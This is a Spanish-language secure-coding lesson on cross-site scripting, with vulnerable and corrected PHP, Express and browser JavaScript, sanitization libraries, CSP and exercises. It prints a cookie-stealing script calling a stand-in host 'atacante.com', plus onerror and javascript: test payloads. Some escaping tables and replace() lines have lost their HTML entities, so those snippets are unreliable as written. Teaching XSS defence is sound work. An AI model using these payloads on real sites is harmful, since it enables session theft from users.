Tema
Cross-Site Scripting (XSS)
XSS es una de las vulnerabilidades más comunes de la web. Permite que un atacante ejecute su propio JavaScript en el navegador de tus usuarios, dentro de tu sitio. Con eso puede robar sesiones, modificar la página, capturar lo que escriben o hacer acciones en su nombre. En esta lección aprenderás a reconocerlo y a eliminarlo.
Concepto
Piensa en un pizarrón de anuncios en la entrada de un edificio donde cualquiera puede pegar notas. Normalmente la gente pega "Vendo bicicleta". Pero alguien pega una nota que dice "Por orden de la administración, deje sus llaves en el buzón 4". Los vecinos confían en el pizarrón y obedecen.
En XSS, tu página es el pizarrón. Si muestras texto que escribió un usuario sin escaparlo, el navegador no distingue entre tu HTML y el que metió el atacante: lo ejecuta todo con la misma confianza.
Un ejemplo clásico de carga maliciosa (payload) sería escribir en un comentario:
html
<script>fetch('https://atacante.com/robar?c=' + document.cookie)</script>Si tu página imprime ese comentario tal cual, cada visitante enviará sus cookies al atacante.
Tipos de XSS
| Tipo | Dónde vive el código malicioso | Ejemplo |
|---|---|---|
| Reflejado | En la URL; se "refleja" en la respuesta | Buscador que muestra "Resultados para: ..." |
| Almacenado | En tu base de datos; afecta a todos los que vean la página | Comentarios, perfiles, nombres de producto |
| Basado en DOM | Lo inserta tu propio JavaScript en el navegador | Código que usa innerHTML con location.hash |
El almacenado es el más peligroso: el atacante lo deja una vez y ataca a todos, incluido el administrador.
Ejemplo: XSS reflejado en PHP
php
<?php
$termino = $_GET['q'] ?? '';
?>
<h1>Resultados para: <?= $termino ?></h1>
<!-- ❌ Si visitas buscar.php?q=<img src=x onerror=alert(1)>
el navegador ejecuta el alert -->php
<?php
$termino = $_GET['q'] ?? '';
// Función corta para escapar: conviértela en un helper de tu proyecto
function e(?string $texto): string
{
// ENT_QUOTES escapa comillas simples y dobles
// ENT_SUBSTITUTE reemplaza bytes UTF-8 inválidos en vez de devolver cadena vacía
return htmlspecialchars($texto ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>
<h1>Resultados para: <?= e($termino) ?></h1>
<!-- ✅ Se muestra el texto literal: <img src=x ...> -->htmlspecialchars convierte los caracteres especiales en entidades HTML:
| Carácter | Se convierte en |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
Así el navegador muestra el texto en lugar de interpretarlo como etiquetas.
Ejemplo: XSS almacenado en Express
En Node, los motores de plantillas modernos escapan por defecto. El peligro aparece cuando construyes HTML a mano o usas la sintaxis "sin escapar".
js
app.get('/comentarios', async (req, res) => {
const [comentarios] = await pool.query('SELECT autor, texto FROM comentarios');
// ❌ Concatenamos HTML con datos del usuario
const lista = comentarios
.map(c => `<li><b>${c.autor}</b>: ${c.texto}</li>`)
.join('');
res.send(`<ul>${lista}</ul>`);
});js
// Escapa los 5 caracteres peligrosos para contexto HTML
function escapeHtml(texto = '') {
return String(texto)
.replace(/&/g, '&') // primero el &, si no, escaparías dos veces
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/comentarios', async (req, res) => {
const [comentarios] = await pool.query('SELECT autor, texto FROM comentarios');
// ✅ Cada dato del usuario pasa por escapeHtml
const lista = comentarios
.map(c => `<li><b>${escapeHtml(c.autor)}</b>: ${escapeHtml(c.texto)}</li>`)
.join('');
res.send(`<ul>${lista}</ul>`);
});html
<ul>
<% comentarios.forEach(c => { %>
<!-- ✅ <%= escapa automáticamente -->
<li><b><%= c.autor %></b>: <%= c.texto %></li>
<!-- ❌ <%- NO escapa: solo para HTML que tú controlas -->
<!-- <li><%- c.texto %></li> -->
<% }) %>
</ul>Error común
Cada motor de plantillas tiene una sintaxis para imprimir HTML sin escapar: <%- en EJS, != en Pug, la triple llave en Handlebars, v-html en Vue, dangerouslySetInnerHTML en React y la sintaxis con !! en Blade. Úsalas solo con contenido que tú controlas al 100 %, nunca con datos del usuario.
Ejemplo: XSS basado en DOM
Aquí el servidor no participa: el problema está en tu JavaScript del navegador.
js
// ❌ Vulnerable: si la URL es pagina.html#<img src=x onerror=alert(1)>
const saludo = decodeURIComponent(location.hash.slice(1));
document.getElementById('saludo').innerHTML = 'Hola, ' + saludo;
// ✅ Seguro: textContent nunca interpreta HTML
document.getElementById('saludo').textContent = 'Hola, ' + saludo;
// ✅ Si necesitas crear elementos, hazlo con la API del DOM
const li = document.createElement('li');
li.textContent = comentario.texto; // el texto se inserta como texto, siempre
lista.appendChild(li);Propiedades y funciones peligrosas con datos del usuario: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout con string, new Function, y asignar location.href o src sin validar.
El contexto importa
Escapar para HTML no sirve en todos los lugares. Cada contexto tiene su regla:
php
<?php $nombre = $_GET['nombre'] ?? ''; $url = $_GET['url'] ?? ''; ?>
<!-- 1. Contenido HTML: htmlspecialchars -->
<p><?= e($nombre) ?></p>
<!-- 2. Atributo: htmlspecialchars Y siempre con comillas -->
<input value="<?= e($nombre) ?>">
<!-- ❌ value=<?= e($nombre) ?> sin comillas permite inyectar atributos con espacios -->
<!-- 3. URL: valida el esquema; htmlspecialchars no bloquea javascript: -->
<?php
$esquema = parse_url($url, PHP_URL_SCHEME);
$urlSegura = in_array($esquema, ['http', 'https'], true) ? $url : '#';
?>
<a href="<?= e($urlSegura) ?>">Mi sitio web</a>
<!-- 4. Dentro de JavaScript: json_encode con banderas HEX -->
<script>
const usuario = <?= json_encode($nombre, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>Nunca hagas esto
Insertar datos del usuario dentro de un bloque de script sin json_encode, o dentro de onclick="...", style="..." o comentarios HTML. Son contextos donde escapar "a medias" no protege.
Cuando sí necesitas permitir HTML
Si tu cliente quiere un editor de texto enriquecido (negritas, enlaces, listas), no puedes escapar todo. La solución es sanitizar con una lista blanca usando una librería probada:
bash
# PHP
composer require ezyang/htmlpurifier
# Node
npm install sanitize-htmlphp
<?php
require 'vendor/autoload.php';
$config = HTMLPurifier_Config::createDefault();
// Solo permitimos estas etiquetas y atributos
$config->set('HTML.Allowed', 'p,b,strong,i,em,ul,ol,li,a[href],br');
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true]);
$purificador = new HTMLPurifier($config);
$htmlLimpio = $purificador->purify($_POST['contenido'] ?? '');
// Guarda $htmlLimpio y muéstralo sin escaparjs
import sanitizeHtml from 'sanitize-html';
const htmlLimpio = sanitizeHtml(req.body.contenido, {
allowedTags: ['p', 'b', 'strong', 'i', 'em', 'ul', 'ol', 'li', 'a', 'br'],
allowedAttributes: { a: ['href'] },
allowedSchemes: ['http', 'https'],
});Error común
Intentar "limpiar" con str_replace('<script>', '', $texto) o expresiones regulares caseras. Existen cientos de variantes (mayúsculas, etiquetas anidadas, atributos de eventos, SVG) que se saltan cualquier filtro casero. Usa escapado o una librería de sanitización.
Capas extra de defensa
- Cookies
HttpOnly: el JavaScript no puede leerlas, así que un XSS no roba la sesión directamente (ver Sesiones seguras). - Content Security Policy (CSP): le dice al navegador qué scripts puede ejecutar; bloquea scripts en línea inyectados (ver HTTPS y cabeceras).
- Validación de entrada: si un campo es un número o un correo, valídalo como tal (ver Validación).
Buena práctica
Escapa en la salida, no en la entrada. Guarda en la base de datos el texto original y escápalo en el momento de mostrarlo, según el contexto (HTML, atributo, JSON...). Si escapas al guardar, acabarás con &amp; duplicados y seguirás desprotegido en otros contextos.
Ejercicios
- Corrige este fragmento PHP: un perfil que muestra el nombre del usuario en un título y en el atributo
valuede un input.
php
<h2>Perfil de <?= $usuario['nombre'] ?></h2>
<input name="nombre" value=<?= $usuario['nombre'] ?>>- En el navegador tienes
resultado.innerHTML = 'Buscaste: ' + params.get('q'). Reescríbelo de forma segura. - Un campo "sitio web" del perfil se muestra como enlace. ¿Qué valor podría usar un atacante aunque escapes con
htmlspecialchars, y cómo lo evitas?
Ver solución
- Escapar y poner comillas al atributo:
php
<h2>Perfil de <?= e($usuario['nombre']) ?></h2>
<input name="nombre" value="<?= e($usuario['nombre']) ?>">- Usar
textContent:
js
const params = new URLSearchParams(location.search);
resultado.textContent = 'Buscaste: ' + (params.get('q') ?? '');- El atacante puede usar
javascript:alert(document.cookie); no contiene caracteres quehtmlspecialcharsmodifique. Solución: validar el esquema.
php
<?php
$web = $usuario['sitio_web'] ?? '';
$valida = filter_var($web, FILTER_VALIDATE_URL)
&& in_array(parse_url($web, PHP_URL_SCHEME), ['http', 'https'], true);
?>
<?php if ($valida): ?>
<a href="<?= e($web) ?>" rel="noopener nofollow" target="_blank">Sitio web</a>
<?php endif; ?>Resumen
- XSS = el atacante ejecuta su JavaScript en tu sitio, en el navegador de tus usuarios.
- Hay tres tipos: reflejado, almacenado y basado en DOM.
- En PHP escapa con
htmlspecialchars($x, ENT_QUOTES, 'UTF-8'); en el navegador usatextContent. - Escapa según el contexto: HTML, atributo con comillas, URL con esquema validado, JS con
json_encode. - Para permitir HTML usa HTML Purifier o sanitize-html, nunca filtros caseros.
- Complementa con cookies
HttpOnlyy CSP.